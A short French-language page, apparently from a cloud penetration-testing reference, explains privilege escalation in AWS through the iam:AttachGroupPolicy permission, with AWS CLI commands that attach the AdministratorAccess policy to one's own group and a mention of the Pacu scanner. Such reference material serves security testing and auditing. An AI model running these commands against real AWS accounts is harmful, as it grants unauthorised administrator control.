iam:AttachGroupPolicy attache une politique managée à un groupe. Parce qu'un utilisateur hérite de chaque politique des groupes auxquels il appartient, attacher AdministratorAccess à n'importe quel groupe contenant votre utilisateur vous élève.
Attacher à votre groupe#
aws iam list-groups-for-user --user-name <you>
aws iam attach-group-policy --group-name <your-group> \
--policy-arn arn:aws:iam::aws:policy/AdministratorAccess
Notes d'exploitation#
- Confirmez d'abord votre appartenance : l'escalade n'aboutit que si votre utilisateur fait partie du groupe ciblé.
- Vous ajouter plutôt à un groupe déjà privilégié relève de la voie appartenance à un groupe.
Outils#
- AWS CLI (
iam attach-group-policy). - Pacu (
iam__privesc_scan).